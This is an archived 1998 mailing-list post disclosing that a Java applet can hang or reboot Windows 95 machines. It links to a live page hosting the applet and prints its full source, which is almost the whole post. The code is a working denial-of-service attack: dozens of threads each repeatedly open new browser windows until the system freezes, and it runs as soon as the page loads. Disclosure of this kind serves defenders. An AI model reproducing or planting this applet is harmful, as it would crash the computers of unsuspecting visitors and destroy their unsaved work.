Java reboots win95

From: Joe Lindström (nakat_private)
Date: Sat Jan 17 1998 - 02:33:44 PST

  • Next message: Theo de Raadt: "Re: FreeBSD ccdconfig bug"

    Java applets causes win95 to reboot
    -----------------------------------
    
    (If this is known stuff, i appologize)
    
    I have successfully been able to reboot several win95 machines
    with a simple java applet. All the applet does is to try and load
    new browsers with the showDocument(url, target) function. When
    trying this on IE3 i only needed one loop with showDocument to
    make everything freeze, with 10 threads all doing the same thing
    my computer immediately rebooted after initializing the applets.
    In IE4 and Netscape you need more threads, and i also used a
    web page with more applets running at the same time.
    They have the same effect though, it either hangs or reboots.
    
    I have only tried this with relatively slow computers, but my guess
    is that if you add more threads to each applet or more applets to
    each webpage more powerful computers will be effected too (if they
    aren't already).
    
    If you want to see if your computer is vulnerable go to
    
    http://home1.swipnet.se/~w-10867/fork/fl00d.htm
    
    this one messes up my p166, 16M ram for sure.
    
    Here's the source...
    (it could probably be improved alot by a *real* java programmer)
    
    Thnx to "Chase" for testing...
    
    -------------------------------------------------------------------
    // fl00d.class - floods your machine with browsers and eventually
    // hangs it. Code written by Joe Lindström.
    // Really sorry about all the unrolled loops, i'm too lazy to
    // clean it up.
    
    import java.applet.Applet;
    import java.net.URL;
    import java.net.MalformedURLException;
    
    public class fl00d extends Applet implements Runnable{
     URL address;
     Thread t1, t2, t3, t4, t5, t6, t7, t8, t9, t10, t11, t12, t13, t14,
    t15, t16, t17, t18, t19, bt1, bt2, bt3, bt4, bt5, bt6, bt7, bt8, bt9,
    bt10, bt11, bt12, bt13, bt14, bt15, bt16, bt17, bt18, bt19, wt1, wt2,
    wt3, wt4, wt5, wt6, wt7, wt8, wt9, wt10, wt11, wt12, wt13, wt14, wt15,
    wt16, wt17, wt18, wt19, wbt1, wbt2, wbt3, wbt4, wbt5, wbt6, wbt7, wbt8,
    wbt9, wbt10, wbt11, wbt12, wbt13, wbt14, wbt15, wbt16, wbt17, wbt18,
    wbt19;
     public void init(){
      try {
       address = new URL("http://fl00d.fl00d.fl00d");
      }catch(MalformedURLException e) {
      }
     }
     public void start(){
      t1 = new Thread(this);
      t2 = new Thread(this);
      t3 = new Thread(this);
      t4 = new Thread(this);
      t5 = new Thread(this);
      t6 = new Thread(this);
      t7 = new Thread(this);
      t8 = new Thread(this);
      t9 = new Thread(this);
      t10 = new Thread(this);
      t11 = new Thread(this);
      t12 = new Thread(this);
      t13 = new Thread(this);
      t14 = new Thread(this);
      t15 = new Thread(this);
      t16 = new Thread(this);
      t17 = new Thread(this);
      t18 = new Thread(this);
      t19 = new Thread(this);
      bt1 = new Thread(this);
      bt2 = new Thread(this);
      bt3 = new Thread(this);
      bt4 = new Thread(this);
      bt5 = new Thread(this);
      bt6 = new Thread(this);
      bt7 = new Thread(this);
      bt8 = new Thread(this);
      bt9 = new Thread(this);
      bt10 = new Thread(this);
      bt11 = new Thread(this);
      bt12 = new Thread(this);
      bt13 = new Thread(this);
      bt14 = new Thread(this);
      bt15 = new Thread(this);
      bt16 = new Thread(this);
      bt17 = new Thread(this);
      bt18 = new Thread(this);
      bt19 = new Thread(this);
      wt1 = new Thread(this);
      wt2 = new Thread(this);
      wt3 = new Thread(this);
      wt4 = new Thread(this);
      wt5 = new Thread(this);
      wt6 = new Thread(this);
      wt7 = new Thread(this);
      wt8 = new Thread(this);
      wt9 = new Thread(this);
      wt10 = new Thread(this);
      wt11 = new Thread(this);
      wt12 = new Thread(this);
      wt13 = new Thread(this);
      wt14 = new Thread(this);
      wt15 = new Thread(this);
      wt16 = new Thread(this);
      wt17 = new Thread(this);
      wt18 = new Thread(this);
      wt19 = new Thread(this);
      wbt1 = new Thread(this);
      wbt2 = new Thread(this);
      wbt3 = new Thread(this);
      wbt4 = new Thread(this);
      wbt5 = new Thread(this);
      wbt6 = new Thread(this);
      wbt7 = new Thread(this);
      wbt8 = new Thread(this);
      wbt9 = new Thread(this);
      wbt10 = new Thread(this);
      wbt11 = new Thread(this);
      wbt12 = new Thread(this);
      wbt13 = new Thread(this);
      wbt14 = new Thread(this);
      wbt15 = new Thread(this);
      wbt16 = new Thread(this);
      wbt17 = new Thread(this);
      wbt18 = new Thread(this);
      wbt19 = new Thread(this);
    
    
      t1.start();
      t2.start();
      t3.start();
      t4.start();
      t5.start();
      t6.start();
      t7.start();
      t8.start();
      t9.start();
      t10.start();
      t11.start();
      t12.start();
      t13.start();
      t14.start();
      t15.start();
      t16.start();
      t17.start();
      t18.start();
      t19.start();
      bt1.start();
      bt2.start();
      bt3.start();
      bt4.start();
      bt5.start();
      bt6.start();
      bt7.start();
      bt8.start();
      bt9.start();
      bt10.start();
      bt11.start();
      bt12.start();
      bt13.start();
      bt14.start();
      bt15.start();
      bt16.start();
      bt17.start();
      bt18.start();
      bt19.start();
      wt1.start();
      wt2.start();
      wt3.start();
      wt4.start();
      wt5.start();
      wt6.start();
      wt7.start();
      wt8.start();
      wt9.start();
      wt10.start();
      wt11.start();
      wt12.start();
      wt13.start();
      wt14.start();
      wt15.start();
      wt16.start();
      wt17.start();
      wt18.start();
      wt19.start();
      wbt1.start();
      wbt2.start();
      wbt3.start();
      wbt4.start();
      wbt5.start();
      wbt6.start();
      wbt7.start();
      wbt8.start();
      wbt9.start();
      wbt10.start();
      wbt11.start();
      wbt12.start();
      wbt13.start();
      bt14.start();
      wbt15.start();
      wbt16.start();
      wbt17.start();
      wbt18.start();
      wbt19.start();
    
    
      for (int i = 0; i < 666; i++)
       getAppletContext().showDocument(address, "_blank");
     }
     public void stop(){
      t1=null;
      t2=null;
      t3=null;
      t4=null;
      t5=null;
      t6=null;
      t7=null;
      t8=null;
      t9=null;
      t10=null;
      t11=null;
      t12=null;
      t13=null;
      t14=null;
      t15=null;
      t16=null;
      t17=null;
      t18=null;
      t19=null;
    
      bt1=null;
      bt2=null;
      bt3=null;
      bt4=null;
      bt5=null;
      bt6=null;
      bt7=null;
      bt8=null;
      bt9=null;
      bt10=null;
      bt11=null;
      bt12=null;
      bt13=null;
      bt14=null;
      bt15=null;
      bt16=null;
      bt17=null;
      bt18=null;
      bt19=null;
      wt1=null;
      wt2=null;
      wt3=null;
      wt4=null;
      wt5=null;
      wt6=null;
      wt7=null;
      wt8=null;
      wt9=null;
      wt10=null;
      wt11=null;
      wt12=null;
      wt13=null;
      wt14=null;
      wt15=null;
      wt16=null;
      wt17=null;
      wt18=null;
      wt19=null;
    
      wbt1=null;
      wbt2=null;
      wbt3=null;
      wbt4=null;
      wbt5=null;
      wbt6=null;
      wbt7=null;
      wbt8=null;
      wbt9=null;
      wbt10=null;
      wbt11=null;
      wbt12=null;
      wbt13=null;
      wbt14=null;
      wbt15=null;
      wbt16=null;
      wbt17=null;
      wbt18=null;
      wbt19=null;
    
     }
    
     public void run(){
      while (Thread.currentThread() == t1){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == t2){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == t3){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == t4){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == t5){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == t6){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == t7){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == t8){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == t9){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == t10){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == t11){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == t12){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == t13){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == t14){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == t15){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == t16){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == t17){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == t18){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == t19){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == bt1){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == bt2){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == bt3){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == bt4){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == bt5){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == bt6){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == bt7){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == bt8){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == bt9){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == bt10){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == bt11){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == bt12){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == bt13){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == bt14){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == bt15){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == bt16){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == bt17){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == bt18){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == bt19){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
    
      while (Thread.currentThread() == wt1){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wt2){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wt3){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wt4){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wt5){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wt6){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wt7){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wt8){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wt9){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wt10){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wt11){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wt12){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wt13){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wt14){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wt15){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wt16){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wt17){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wt18){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wt19){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wbt1){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wbt2){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wbt3){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wbt4){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wbt5){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wbt6){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wbt7){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wbt8){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wbt9){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wbt10){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wbt11){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wbt12){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wbt13){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wbt14){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wbt15){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wbt16){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wbt17){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wbt18){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
      while (Thread.currentThread() == wbt19){
       for (int i = 0; i < 666; i++)
        getAppletContext().showDocument(address, "_blank");
      }
    
     }
    }
    
    ----------------------------------------------------------------------------------------
    
    Joe Lindström, 17/1 -98
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:39:46 PDT